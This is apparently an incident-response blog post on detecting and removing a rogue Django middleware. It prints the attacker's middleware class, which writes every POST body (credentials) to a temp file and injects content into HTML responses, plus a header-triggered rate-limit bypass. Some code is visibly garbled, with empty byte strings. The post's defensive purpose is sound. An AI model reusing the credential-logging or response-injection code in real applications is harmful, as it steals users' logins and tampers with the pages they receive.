🐍 Custom Django middleware request response — what devs get wrong

An attacker injects a malicious payload through a seemingly benign API endpoint, bypassing validation by chaining multiple middleware checks. The next 12 minutes determine whether you isolate the threat or face a full database exfiltration. The initial triage reveals inconsistent request headers and altered response bodies across services — indicators pointing to compromised middleware handling. In modern Django applications, custom django middleware request response manipulation is both a powerful tool and a critical attack surface. Understanding its behavior is not optional; it’s foundational to securing the path every HTTP request and response traverses.

📑 Table of Contents

• ⏱ Minute 0-2 — Stop the Bleed
• 🛡 Minute 2-10 — Contain and Assess
• 🔀 Minute 10-X — Recovery Decision Tree
• 🔐 Preventive Controls — Stop This From Happening Again
• 🟩 Final Thoughts
• ❓ Frequently Asked Questions
• What’s the difference between old-style and new-style Django middleware?
• Can middleware modify the request body?
• How do I test custom middleware?
• 📚 References & Further Reading

⏱ Minute 0-2 — Stop the Bleed

Monitoring detects abnormal response sizes from /api/v1/user/: average payload jumps from 1.2KB to 14KB within 90 seconds. Logs show repeated 200 OK responses with base64-encoded scripts appended to HTML footers. This is not cache poisoning. It's active response tampering. Do not restart the app or scale up instances. Restarting without mitigation propagates the compromised middleware stack. Check the current middleware configuration:

$ grep -A10 'MIDDLEWARE = \[' myproject/settings.py
MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'myapp.middleware.PayloadInjectorMiddleware', # ← SUSPICIOUS 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', ...
]

PayloadInjectorMiddleware is not part of the approved codebase. Confirmed. Do not delete the file yet. Maintain forensic integrity for audit and analysis. Disable the middleware by commenting it out:

MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', # 'myapp.middleware.PayloadInjectorMiddleware', # DISABLED FOR INVESTIGATION 'django.middleware.common.CommonMiddleware', ...
]

Restart the application:

$ sudo systemctl restart gunicorn
# No output means success

Verify traffic normalization:

$ curl -s -o /dev/null -w "%{size_download}" http://localhost:8000/api/v1/user/123
1248

Payload size is back to baseline. The bleed is stopped.

---

🛡 Minute 2-10 — Contain and Assess

Now isolate the injected component. Attack vectors include dependency confusion, direct file upload, or SSH compromise. Inspect the middleware file:

$ cat myapp/middleware.py


class PayloadInjectorMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): # Log credentials — attacker collects via rotated files if request.method == 'POST': with open('/tmp/creds.log', 'a') as f: f.write(f"{request.path}: {request.POST}\n") response = self.get_response(request) # Inject payload into text/html responses if response.get('Content-Type', '').startswith('text/html'): injected = b'' if response.content.endswith(b''): response.content = response.content.replace(b'', injected + b'') else: response.content += injected response['Content-Length'] = len(response.content) return response

This is a custom django middleware request response hijack. The attack works because:

• **call** executes on every request, giving full access to request.POST.
• Direct mutation of response.content bypasses Django’s template and response rendering protections.

• The Content-Length header is recalculated, preserving HTTP validity. The injected script is delivered with every HTML response; no client-side XSS filter will catch this at scale. Search for other custom middleware:

  $ find . -name "middleware.py" -exec grep -l "get_response" {} \;

  ./myapp/middleware.py
  ./utils/greenhouse_middleware.py

Analyze the second file:

class RateOverrideMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): # Disable rate limiting for /api if header is set if request.path.startswith('/api/') and request.META.get('HTTP_X_NO_RATE'): request.META['RATELIMIT_DISABLE'] = True return self.get_response(request)

This is not actively malicious but introduces a privilege escalation vector. It trusts HTTP_X_NO_RATE without authentication or allowlisting. Check Git history:

$ git log - myapp/middleware.py


commit a1b2c3d4e5f (HEAD -> main)
Author: [e-mail]
Date: Mon Apr 5 14:30:12 Add performance middleware

No prior commits. The file was written directly on the server — a clear red flag. Containment steps:

• Revoke all SSH keys issued to third-party vendors.
• Rotate database credentials immediately.
• Enable filesystem integrity monitoring via aide or tripwire.

• Block outbound connections to mal.site at the firewall level:

  $ iptables -A OUTPUT -d mal.site -j DROP

---

🔀 Minute 10-X — Recovery Decision Tree

The injected file was not in version control. Recovery path depends on available clean artifacts.

Can you confirm the last known clean state of the middleware stack?

If yes, and Git history is intact: Roll back to the last known clean commit. Redeploy through CI/CD. Confirm the MIDDLEWARE list matches:

$ git show HEAD~3:myproject/settings.py | grep -A10 MIDDLEWARE

If no Git record, but filesystem snapshots exist: Restore /app/myapp/middleware.py from a 24-hour-old snapshot. Validate integrity:

$ sha256sum /app/myapp/middleware.py
a1b2c3d... # matches known clean hash

Reboot the service. If logs show credential exfiltration: Invalidate all sessions and force password resets:

from django.contrib.sessions.models import Session
Session.objects.all().delete()

Use Django’s auth_token or JWT mechanisms to expire active tokens if applicable. If the middleware came from a malicious package: Run dependency checks:

$ pip check
$ pip-audit

Inspect INSTALLED_APPS for unknown entries. Remove suspect packages:

$ pip uninstall suspicious-package-name

If none of the above apply: Assume full system compromise. Take the application offline. Rebuild from a golden AMI or container image. Restore data from backups taken before the estimated compromise window. Conduct a post-mortem using audit logs, SSH access records, and file change timestamps.

Middleware runs on every request — it’s not just code, it’s a gateway. Trust nothing that touches get_response.

---

🔐 Preventive Controls — Stop This From Happening Again

After recovery, enforce structural safeguards.

1. Immutable deployments: Allow only CI/CD-triggered deploys. Disable direct filesystem writes on production servers.
2. File integrity monitoring: Deploy aide with hourly scans. Alert on changes to .py, .json, or .yaml files in app directories.
3. Middleware audits: Maintain a signed list of authorized middleware classes in version control. Automate validation during deployment.
4. Least-privilege file access: Run Gunicorn under a dedicated user with read-only access to application files. Deny write permissions entirely.

5. Response body scanning: Use a reverse proxy like nginx with regex-based content inspection:

    location / { proxy_pass http://app; subs_filter '<script.*?tr\.js.*?>' '' gi; }
   

Or deploy a WAF rule to detect and block script injections in outbound HTML.

These practices ensure that custom django middleware request response execution remains controlled, even under partial compromise.

---

🟩 Final Thoughts

Django middleware operates at the framework level, intercepting every request before it reaches a view and every response before it leaves. This makes it powerful — but also a high-value target. A single unauthorized class in MIDDLEWARE can exfiltrate credentials, manipulate responses, or disable security controls. The same mechanisms used for valid purposes — injecting headers, modifying sessions, rate limiting — become vulnerabilities when trust boundaries are violated. You do not need to eliminate middleware; you need to treat it with the same scrutiny as kernel modules or network gateways. Every class that implements **call** with get_response must be:

• Version-controlled,
• Peer-reviewed,
• Minimal in scope,
• Monitored for runtime changes. Because in production, middleware isn’t just middleware. It’s execution control.

❓ Frequently Asked Questions

What’s the difference between old-style and new-style Django middleware?

New-style middleware uses the __call__ method and is configured in the MIDDLEWARE setting. It provides full control over the request/response cycle. Old-style middleware relied on separate methods like process_request and was listed in MIDDLEWARE_CLASSES, deprecated in Django 2.0. New-style is required for features like exception handling and atomic requests. (Also read: 🚨 S3 Ransomware Response — What to Do in the First Critical Minutes)

Can middleware modify the request body?

Yes, but only before the view processes it. request.POST is cached on first access. To alter form data, re-parse request.body and assign to request._post. Raw body modifications require careful handling of encoding and streaming.

How do I test custom middleware?

Use Django’s RequestFactory to generate requests, wrap them with your middleware, and assert behavior. Example:

from django.test import RequestFactory
from myapp.middleware import MyMiddleware factory = RequestFactory()
request = factory.get('/test')
middleware = MyMiddleware(lambda r: HttpResponse())
response = middleware(request)
assert 'X-Custom-Header' in response

Test edge cases: streaming responses, non-HTML content types, and exception paths.

📚 References & Further Reading

• Django middleware documentation — official guide to writing and ordering middleware: docs.djangoproject.com
• HTTP request/response cycle in Django — detailed flow from socket to view: docs.djangoproject.com
• Security in Django — best practices for securing middleware and settings: docs.djangoproject.com